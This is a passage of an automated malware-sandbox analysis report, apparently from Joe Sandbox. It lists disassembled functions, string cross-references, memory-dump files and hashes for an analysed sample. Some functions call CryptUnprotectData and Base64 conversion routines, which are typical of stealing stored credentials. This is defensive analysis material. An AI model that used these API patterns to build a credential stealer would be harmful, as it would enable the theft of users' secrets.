__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B2E2D

Part of subcall function 6C5781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5781DE

Strings

expected a Time entry, xrefs: 6C5B2E36
(root), xrefs: 6C5B354F
ProfileBuffer parse error: %s, xrefs: 6C5B2E3B

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c3069799d8f3e57088e883b145c0a70a566bc228867e19413ede0925cd0f5647
Instruction ID: bc13444f93a6f2c12d00a5befaadce6bdc74be4aa1b73662f295b3dba25ed0ee
Opcode Fuzzy Hash: c3069799d8f3e57088e883b145c0a70a566bc228867e19413ede0925cd0f5647
Instruction Fuzzy Hash: 6B91B2706087408FC724CF28CCA465EBBE1AFC9358F50491DE59AA7751DB30D949CB66

Function 011533D2 Relevance: 11.5, Strings: 8, Instructions: 1529COMMON

Download Yara Rule

Strings

|`&, xrefs: 01153EC7
seM, xrefs: 01154662
D[|s, xrefs: 01154367
su{p, xrefs: 01153D05
CC{, xrefs: 011542F7
x?Go, xrefs: 0115346F
BjJ, xrefs: 01153B9C
CC{, xrefs: 01154302

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: BjJ$CC{$CC{$D[|s$seM$su{p$x?Go$|`&
API String ID: 0-774384463
Opcode ID: 75526c01c33ea37c55d8ba114161b21760575917003861cb5684cf44199b6346
Instruction ID: 558d678ee947497f91f87eebf913ae5e9f5c46ae92d9af66285ab3026f3d18ac
Opcode Fuzzy Hash: 75526c01c33ea37c55d8ba114161b21760575917003861cb5684cf44199b6346
Instruction Fuzzy Hash: 22A2F5F360C6009FE704AE29EC8567AFBE9EF94720F1A893DE5C4C7744E63598058693

Function 6C56D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C56D7DD
8, xrefs: 6C56DC08
, xrefs: 6C56DA88
1, xrefs: 6C56DBDD
@, xrefs: 6C56DAF6
0, xrefs: 6C56DC7F
9, xrefs: 6C56DE7F
0, xrefs: 6C56D852

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 53b7026dac85af64a75662723995042bfb6ffcca4b2d551a109247c6f5cff9b7
Instruction ID: b22c5f142603246d4840f05baed1133e35388797c7bb89f8183d85e67e09d58f
Opcode Fuzzy Hash: 53b7026dac85af64a75662723995042bfb6ffcca4b2d551a109247c6f5cff9b7
Instruction Fuzzy Hash: B162AD7150C3858FD711CE2AC89076ABBF2AF86358F284E1DE4D54BFA1D3359985CB82

Function 6C5D545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5D8A4B

Strings

~qVl, xrefs: 6C5D9269, 6C5D921F, 6C5D9459, 6C5D56C7, 6C5D5703, 6C5D5740, 6C5D948F

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: memset
String ID: ~qVl
API String ID: 2221118986-1467145589
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6ef0449666ae9a02d38cb790a230680ac66dccaba9c6ca28dd5d496b1755547d
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 8CB1D672A0131ACFDB14CF6CCC90799B7B2EF85314F1902A9D549DB791E730A989CB91

Function 6C5D542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D925C

Strings

~qVl, xrefs: 6C5D9269, 6C5D921F, 6C5D9459, 6C5D56C7, 6C5D5703, 6C5D5740, 6C5D948F

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: memset
String ID: ~qVl
API String ID: 2221118986-1467145589
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6c7ad70c85b58cc2593bef2fb8f8a03d8249cf1c92e7598af0fd6650abb18cf9
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: E8B1B472A0520ACBDB14CF5CCC916ADB7B2EF85314F1902A9C549EB785E730B989CB91

Function 011582CE Relevance: 9.1, Strings: 6, Instructions: 1633COMMON

Download Yara Rule

Strings

Co, xrefs: 011589FB
7C>, xrefs: 011591D8
~]z, xrefs: 0115841C
S^@, xrefs: 01158FA8
1g{, xrefs: 011592E4
}Nw/, xrefs: 01158474

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1g{$7C>$S^@$}Nw/$~]z$Co
API String ID: 0-2344776970
Opcode ID: 1b251f4695d6d14351d2cc1573b8e90f66e8faf7dfe807f532a5e7f6fdd4bcce
Instruction ID: 685ba59324aff223d7e1b1f21468757f011f1a33961d5c67009bf59e066ae4b3
Opcode Fuzzy Hash: 1b251f4695d6d14351d2cc1573b8e90f66e8faf7dfe807f532a5e7f6fdd4bcce
Instruction Fuzzy Hash: 07B2F5F360C2049FE304AE2DEC8567ABBE9EF94720F16893DEAC4C7744E63558418697

Function 00D97240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00D9724D
RtlAllocateHeap.NTDLL(00000000), ref: 00D97254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00D97281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00D972A4
LocalFree.KERNEL32(?), ref: 00D972AE

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 1f88afd3f0f5f73df1f7ed1c4197fba6d01cb5ff9ffd9886c54401af707d2843
Instruction ID: a2d3c598a6d1fed968abba7bb079ea6dbeb9e87deeadd90b9b381b5ae3fa46c7
Opcode Fuzzy Hash: 1f88afd3f0f5f73df1f7ed1c4197fba6d01cb5ff9ffd9886c54401af707d2843
Instruction Fuzzy Hash: 09012575B41208BBDB10DFE4CD45F9E7779EB44700F104155FB05BB2C0D670AA009B69

Function 0114E3E9 Relevance: 6.6, Strings: 4, Instructions: 1588COMMON

Download Yara Rule

Strings

[qu{, xrefs: 0114E7E3
<?;, xrefs: 0114F6E6
#B7, xrefs: 0114F4CC
'O9?, xrefs: 0114F399

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #B7$'O9?$<?;$[qu{
API String ID: 0-3912412007
Opcode ID: 6479863e8db385d5d21f47636d1b32ee1c9f70021de63e5ba014c748f7d3e526
Instruction ID: 4a529718161a5c3ea2565664e43915c246a16bfc4216f05c55fd1f25260b01ab
Opcode Fuzzy Hash: 6479863e8db385d5d21f47636d1b32ee1c9f70021de63e5ba014c748f7d3e526
Instruction Fuzzy Hash: 92B2C4B360C2009FE304AF29EC8567AFBE5EF94720F16492DEAC4C7744EA3598458797

Function 0115193F Relevance: 6.6, Strings: 4, Instructions: 1562COMMON

Download Yara Rule

Strings

K~, xrefs: 01151D7F
X>{, xrefs: 011525FB
gwu, xrefs: 01152468
/9?, xrefs: 011528AD

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: K~$/9?$X>{$gwu
API String ID: 0-564260424
Opcode ID: 7df82f2f6497cfaa4fdbe2b1f7feabb624e8174bce6f1b28654826de8179b119
Instruction ID: b1f98db5d2747a0fcd2b647185cfebad752f9e040f85e833160af6c29a5ed1dc
Opcode Fuzzy Hash: 7df82f2f6497cfaa4fdbe2b1f7feabb624e8174bce6f1b28654826de8179b119
Instruction Fuzzy Hash: 90B2D3F290C2149FE304BE29EC8567ABBE5EF94720F16493DEAC5C7744E63598008B97

Function 00DA8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00D95184,40000001,00000000,00000000,?,00D95184), ref: 00DA8EC0

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: ca2e591b67e8b55347c9f920b0d615268c3b34407db0f9119bd9fb7c0d6c624d
Instruction ID: d5791cb31a9c4dab24545a2f966a4a717e4d8c55c409a7506125c081d8bd8458
Opcode Fuzzy Hash: ca2e591b67e8b55347c9f920b0d615268c3b34407db0f9119bd9fb7c0d6c624d
Instruction Fuzzy Hash: EF110670200209EFDB00CF64D884FAB77AAAF8A300F149458FD198B250DB35ED41EB75

Function 00D99AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D94EEE,00000000,00000000), ref: 00D99AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00D94EEE,00000000,?), ref: 00D99B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D94EEE,00000000,00000000), ref: 00D99B2A
LocalFree.KERNEL32(?,?,?,?,00D94EEE,00000000,?), ref: 00D99B3F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
